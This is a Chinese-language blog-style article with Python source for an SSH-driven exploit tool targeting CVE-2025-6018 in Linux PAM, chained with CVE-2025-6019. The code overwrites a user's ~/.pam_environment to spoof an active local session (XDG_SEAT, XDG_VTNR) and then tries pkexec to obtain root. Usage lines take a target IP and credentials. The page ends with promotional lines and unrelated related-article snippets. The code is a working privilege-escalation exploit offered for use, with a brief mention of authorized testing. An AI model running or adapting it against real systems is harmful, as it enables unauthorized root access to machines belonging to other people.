Linux PAM环境变量注入漏洞利用工具解析

项目标题与描述

本项目提供了一个针对CVE-2025-6018漏洞的专业利用工具。该漏洞存在于Linux PAM(Pluggable Authentication Modules)的pam_env.so模块中,允许通过~/.pam_environment文件注入环境变量,进而通过SystemD会话操纵实现本地权限提升。结合CVE-2025-6019漏洞,攻击者可以进一步获得完整的root权限。

该工具通过SSH连接到目标主机,自动化执行漏洞检测和利用过程,支持openSUSE Leap 15、SUSE Linux Enterprise 15等多个Linux发行版。

功能特性

  • 自动化漏洞检测:自动检查目标系统上PAM的版本、配置文件顺序以及相关模块的存在情况。
  • 版本匹配验证:内置易受攻击的PAM版本列表(1.3.0 - 1.6.0),进行精确匹配。
  • 利用链执行:自动化实现CVE-2025-6018和CVE-2025-6019的完整攻击链,包括环境变量注入和后续权限提升。
  • 详细日志记录:将整个利用过程(包括时间戳、级别和信息)记录到文件并输出到控制台,便于分析和调试。
  • 参数化配置:支持通过命令行参数灵活指定目标IP、用户名和密码,易于集成到自动化工作流中。
  • 专业错误处理:包含SSH连接、命令执行和文件操作等环节的异常处理,提高工具的健壮性。

安装指南

系统要求

  • Python 3.x
  • 操作系统:支持Python的任意操作系统(Linux, macOS, Windows等),用于作为攻击发起端。
  • 目标系统:运行易受攻击版本(1.3.0 - 1.6.0)PAM的Linux主机。

依赖安装

本工具核心依赖为paramiko库(版本需>=2.12.0)用于建立SSH连接。

使用pip安装依赖:

pipinstallparamiko>=2.12.0

获取工具

直接从提供的源代码文件开始使用,无需其他编译或构建步骤。确保您拥有cve_2025_6018_professional.py文件的执行权限。

chmod+x cve_2025_6018_professional.py

使用说明

基础使用

通过命令行参数指定目标主机信息并运行脚本:

python3 cve_2025_6018_professional.py -i192.168.1.100 -u vulnerable_user -p user_password

参数详解

  • -i--ip: 目标主机的IP地址(必需)。
  • -u--username: 用于登录目标主机的用户名(必需)。
  • -p--password: 对应用户的密码(必需)。

工作流程

  1. 初始化与连接:工具初始化日志和漏洞版本数据,并尝试通过提供的凭据建立到目标主机的SSH连接。
  2. 漏洞评估:在目标主机上执行一系列命令,检查PAM版本、/etc/pam.d/目录下的配置文件(特别是sshd)中pam_env.sopam_systemd.so模块的顺序,以及SystemD版本。
  3. 条件判断:如果检测到pam_env.sopam_systemd.so之前被调用,并且PAM版本在受影响范围内,则判定存在漏洞。
  4. 利用执行:如果存在漏洞,工具将尝试在用户目录下创建或修改~/.pam_environment文件,注入XDG_SEAT=seat0XDG_VTNR=1等环境变量,以欺骗系统将其会话识别为本地活动会话。
  5. 权限提升:利用伪造的“活动用户”身份,结合Polkit的allow_active策略,尝试执行需要特权(如挂载操作)的命令。如果系统中还存在CVE-2025-6019漏洞(涉及udisks2/libblockdev),则可能进一步利用该漏洞获得root shell。

典型场景

该工具主要用于渗透测试人员和安全研究人员在获得授权的前提下,对内部Linux系统进行安全评估,验证系统是否受此CVE影响以及实际风险等级。也可用于CTF(Capture The Flag)竞赛或安全教学演示本地权限提升漏洞的利用原理。

核心代码

以下是工具中部分核心功能的代码实现及详细注释:

importparamikoimporttimeimportsysimportsocketimportargparseimportloggingfromdatetimeimportdatetime# 配置日志记录系统,将日志同时输出到文件和控制台,便于跟踪利用过程logging.basicConfig(level=logging.INFO,format='%(asctime)s [%(levelname)s] %(message)s',datefmt='%Y-%m-%d %H:%M:%S',handlers=[logging.FileHandler('cve_2025_6018_exploit.log'),logging.StreamHandler(sys.stdout)])logger=logging.getLogger(__name__)classCVEExploit:def__init__(self):# 定义已知易受攻击的PAM版本范围self.vulnerable_versions=["pam-1.3.0","pam-1.3.1","pam-1.4.0","pam-1.5.0","pam-1.5.1","pam-1.5.2","pam-1.5.3","pam-1.6.0"]defcheck_vulnerability(self,client):"""增强的漏洞检测函数,通过SSH客户端在远程主机执行多项检查"""logger.info("Starting vulnerability assessment")# 定义需要执行的检查命令字典checks={"pam_version":"rpm -q pam || dpkg -l | grep libpam",# 检查PAM安装包版本"pam_env":"find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",# 查找使用pam_env的PAM配置"pam_systemd":"find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",# 查找使用pam_systemd的PAM配置"systemd_version":"systemctl --version | head -1"# 检查SystemD版本}vulnerable=Falseforcheck_name,commandinchecks.items():try:# 通过SSH连接执行命令stdin,stdout,stderr=client.exec_command(command)output=stdout.read().decode('utf-8').strip()error=stderr.read().decode('utf-8').strip()ifoutput:logger.info(f"{check_name}:{output}")# 关键逻辑:检查pam_env是否在pam_systemd之前被加载ifcheck_name=="pam_env"and"sshd"inoutput:# 这里需要进一步分析/etc/pam.d/sshd文件的具体行顺序# 简化示例:假设检测到该文件即进行下一步详细检查logger.warning("pam_env found in sshd config. Checking order...")# 实际代码中应添加解析文件判断顺序的逻辑eliferror:logger.debug(f"{check_name}error:{error}")else:logger.debug(f"{check_name}: No output")exceptExceptionase:logger.error(f"Failed to execute{check_name}check:{e}")# 版本匹配逻辑(示例框架)# 实际应从`pam_version`检查的输出中提取版本号与`vulnerable_versions`列表对比logger.info("Vulnerability check completed.")# 返回True/False表示漏洞是否存在returnvulnerable
defexploit(self,client,username):"""执行漏洞利用的主要函数,尝试注入环境变量并提升权限"""logger.info(f"Attempting exploit for user:{username}")# 1. 创建或修改 ~/.pam_environment 文件,注入恶意环境变量pam_env_content=""" # Injected by CVE-2025-6018 exploit XDG_SEAT=seat0 XDG_VTNR=1 # 可添加其他用于欺骗会话类型的变量 """pam_env_path=f"/home/{username}/.pam_environment"# 假设用户主目录在/home下try:# 通过SSH将内容写入文件command=f"echo '{pam_env_content}' >{pam_env_path}"stdin,stdout,stderr=client.exec_command(command)# 检查命令是否成功执行exit_status=stdout.channel.recv_exit_status()ifexit_status==0:logger.info(f"Successfully created/overwritten{pam_env_path}")else:error=stderr.read().decode()logger.error(f"Failed to write pam_environment:{error}")returnFalseexceptExceptionase:logger.error(f"Error during file creation:{e}")returnFalse# 2. 触发PAM重新读取环境变量(例如,通过建立新的SSH会话或重新登录)# 注意:在实际利用中,可能需要用户注销并重新登录,或者工具需要创建新的SSH连接来触发新会话。logger.warning("Environment variable injected. A new login session (e.g., new SSH connection) may be required for the changes to take effect.")# 3. 尝试利用伪造的“活动用户”身份执行特权操作(示例:通过pkexec)# 这需要结合CVE-2025-6019或其它Polkit策略# 示例命令:尝试运行一个需要`allow_active`权限的Polkit动作test_command="pkexec --user root whoami"# 只是一个示例,实际命令取决于目标策略try:stdin,stdout,stderr=client.exec_command(test_command)output=stdout.read().decode().strip()error=stderr.read().decode().strip()ifoutput=="root":logger.critical("SUCCESS: Obtained root privileges!")# 可以在此处提供交互式shell或执行后续payloadreturnTrueelse:logger.info("Exploit attempted, but root not obtained. Output: %s, Error: %s",output,error)returnFalseexceptExceptionase:logger.error(f"Failed to execute privilege test:{e}")returnFalse

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAM1WcosLlSccXIf2HKuEYUi
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1164369.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

‌信通院最新报告:2026年,70%企业测试用例将由AI生成‌

AI重塑软件测试格局2026年伊始,中国信息通信研究院(信通院)发布的最新报告揭示了一个里程碑式变革:全球70%的企业测试用例已由AI生成。这一数据不仅印证了技术预测,更标志着软件测试行业从人工驱动向智能自动化的全面转…

Git从零到高手:一篇文章解锁版本控制的终极奥义

你是否曾因代码丢失而熬夜重写?是否在团队协作中陷入版本混乱?Git,这个改变软件开发世界的工具,将为你开启新的可能。 一、Git:程序员的时光机 2015年,当Linux之父Linus Torvalds因版权问题失去原有的版本控制工具时,他仅用十天时间创造了一个新工具——这就是Git的传奇…

探索汇川变频器源码:TMS320F28035 上的技术革新

汇川三种变频器源码,MD290,MD380,MD500变频器源码,基于TMS320F28035。 新的SVC3算法,高速速度波动小,新的转子电阻,漏感辩识算法!.在工控领域,汇川变频器一直以其出色的性能和可靠性备受关注。今天咱们就来…

探索汇川变频器源码:TMS320F28035 上的技术革新

汇川三种变频器源码,MD290,MD380,MD500变频器源码,基于TMS320F28035。 新的SVC3算法,高速速度波动小,新的转子电阻,漏感辩识算法!.在工控领域,汇川变频器一直以其出色的性能和可靠性备受关注。今天咱们就来…

6007BE10000电路板

6007BE10000 电路板是一款工业控制系统用的功能模块,通常用于 ABB 或 MOD 300 系列机架式系统中。它属于系统内部的功能扩展或辅助模块,主要负责特定信号的处理或接口任务。主要功能处理或转换系统内部的控制信号扩展机架系统的功能,使系统更…

Curl完全指南:从基础语法到高级实战技巧

在当今API驱动的世界中,Curl已不仅仅是网络调试工具,而是开发者日常必备的瑞士军刀。掌握Curl,意味着你拥有了与任何网络服务对话的能力。 一、Curl简介:网络世界的通用翻译器 什么是Curl? Curl(Client URL)是一个强大的命令行工具和库,支持多种协议传输数据,包括HT…

‌2026年无代码测试全面普及:软件测试从业者的转型指南与实战全景

Gartner预测的“2026年60%企业测试场景由无代码平台主导”已从预测变为现实。2026年初的行业实践表明,该趋势不仅实现,更在AI驱动下加速演进。测试工程师的角色正从“脚本编写者”彻底转向“测试意图设计师”与“AI协作者”。一、预测落地:60…

人工智能之核心基础 机器学习 第十四章 半监督与自监督学习总结归纳

人工智能之核心基础 机器学习 第十四章 半监督与自监督学习总结归纳 文章目录人工智能之核心基础 机器学习14.1 半监督 vs 自监督:核心区别与联系对比🔗 联系:可以协同使用!14.2 与其他学习范式的全景关系🧠 四大学习…

深度解读:为什么说2026是“AI测试元年”?

AI测试的崛起与2026年的转折点 在软件测试领域,2026年被广泛誉为“AI测试元年”,这并非偶然的标签,而是技术演进、市场需求和行业变革共同作用的结果。作为软件测试从业者,我们正站在一个历史性拐点:人工智能&#xf…

6010BZ10000过程自动化模块

6010BZ10000 过程自动化模块是一款用于工业控制系统的功能模块,通常用于 ABB MOD 300 系列或类似机架式系统中。它主要用于过程控制和自动化任务,是工业自动化系统中关键的执行或监控单元之一。主要功能执行过程自动化控制任务接收和处理传感器或输入模…

收藏备用!AI Agent八大核心概念拆解:小白程序员入门大模型必看

在大模型技术全面爆发的当下,AI Agent 早已跳出学术论文的晦涩表述,化身渗透进智能客服、自动化办公、智能制造等领域的“数字员工”,成为技术落地的核心载体。对于刚踏入大模型领域的小白,或是想拓展技术边界、抢占AI风口的程序员…

6011BZ10001磁盘控制器模块

6011BZ10001 磁盘控制器模块是一款工业控制系统用的存储管理模块,通常用于 ABB MOD 300 系列或类似机架式控制系统中。它主要负责对系统数据的存储、读写和管理,是控制系统中信息保存和高速数据处理的重要单元。主要功能管理系统内的磁盘或存储介质提供…

kingbase数据库的

在数据库安装目录 找到 例如(D:\ComputerInstalls\KingBase\KESRealPro\V008R006C008B0014\Server\bin) 在bin文件夹下 路径输入cmd打开命令窗口输入sys_dump -h 127.0.0.1 -p 54321 -U system -F c -f D:\backup.dmp gongyisystem 然后输入目标数据库的…

LP3798ESM/LP3798EBM/LP3798EAM 恒压恒流控制器 典型应用电路分析

LP3798EXM(原边控制 SiC 电源芯片系列,含 LP3798ESM/LP3798EBM/LP3798EAM,封装 ASOP6)核心应用是 18W-48W 隔离反激适配器 / 电源,无需光耦、TL431,内置 750V SiC 功率管,适合小体积、低成本、高…

收藏!后端岗位遇冷?程序员转型大模型才是破局关键

最近,不少活跃在招聘市场的开发者都明显感受到了后端岗位的“寒意”:岗位数量大幅缩水,薪资增长也陷入停滞。更有求职者吐槽,自己海投了70份简历,最终只收到3个面试邀约,而且意向岗位的薪资较去年同期还下降…

6015BZ10000 I/O 转移板

6015BZ10000 I/O 转移板是一款工业控制系统用的功能模块,常用于 ABB MOD 300 系列或类似机架式控制系统中。它主要用于 I/O 信号的传输、转换和分配,是系统中连接输入输出模块与处理器模块的重要桥梁。主要功能转换和传输 I/O 信号协助处理器模块管理输…

6020NZ10700控制器模块

6020NZ10700 控制器模块是一款工业自动化系统核心模块,通常用于 ABB 或 MOD 300 系列机架式控制系统中。它是系统中负责执行控制逻辑和协调各模块工作的关键单元,相当于整个控制系统的“大脑”。主要功能执行系统控制逻辑和算法协调处理器模块、I/O 模块…

【收藏版】50 行核心代码搞定本地 LLaMa 3.1 GraphRAG 开发!小白也能上手的大模型实战教程

本文将带零基础的你,用不到 50 行核心代码完成基于本地大模型 LLaMa 3.1 的 GraphRAG 应用开发实战。我们会一站式整合 LangChain 工作流、Ollama 模型管理工具与 Neo4j 图数据库,搭建一套支持实体关系挖掘 混合检索的增强生成系统,全程无需…

农田滴灌数据采集物联网解决方案

滴灌技术作为精准农业的重要组成部分,因其高效节水、减少土壤侵蚀和提高作物产量的特点,在全球范围内得到了广泛应用。然而,滴灌系统的有效运行依赖于对其农田的实时监控和数据分析。对此,物通博联(WideIOT&#xff09…

HCIP代码小练 -4

IP 规划表设备接口IP 地址 / 掩码说明AR1G0/0/0(连 AR4)14.1.1.1/24公网接口(直连 ISP)AR1LoopBack0192.168.1.1/24私网环回(需互通的私网网段)AR1Tunnel0/0/010.0.0.1/24MGRE 隧道接口(私网虚拟…